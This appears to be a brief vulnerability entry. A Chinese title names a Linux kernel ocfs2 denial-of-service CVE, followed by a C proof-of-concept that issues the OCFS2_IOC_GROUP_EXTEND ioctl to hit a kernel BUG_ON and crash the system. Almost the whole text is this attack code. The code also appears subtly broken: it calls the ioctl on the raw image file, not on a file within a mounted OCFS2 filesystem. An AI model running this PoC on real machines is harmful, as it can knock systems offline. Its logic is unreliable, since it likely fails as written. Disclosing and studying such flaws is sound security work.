CVE-2026-31596: Linux内核ocfs2模块拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> // This PoC demonstrates the concept of triggering the ioctl. // It requires a crafted OCFS2 filesystem image with an invalid dinode. #define OCFS2_IOC_GROUP_EXTEND _IOW('o', 1, int) int main() { int fd; const char *device = "./crafted_ocfs2.img"; // Open the crafted filesystem image fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Attempting to trigger OCFS2 group extend...\n"); // Trigger the vulnerable ioctl path // This calls ocfs2_ioctl -> ocfs2_group_extend // If the dinode is invalid, the kernel hits BUG_ON at resize.c:308 if (ioctl(fd, OCFS2_IOC_GROUP_EXTEND, 0) < 0) { perror("Ioctl failed (might have crashed kernel)"); } else { printf("Ioctl succeeded.\n"); } close(fd); return 0; }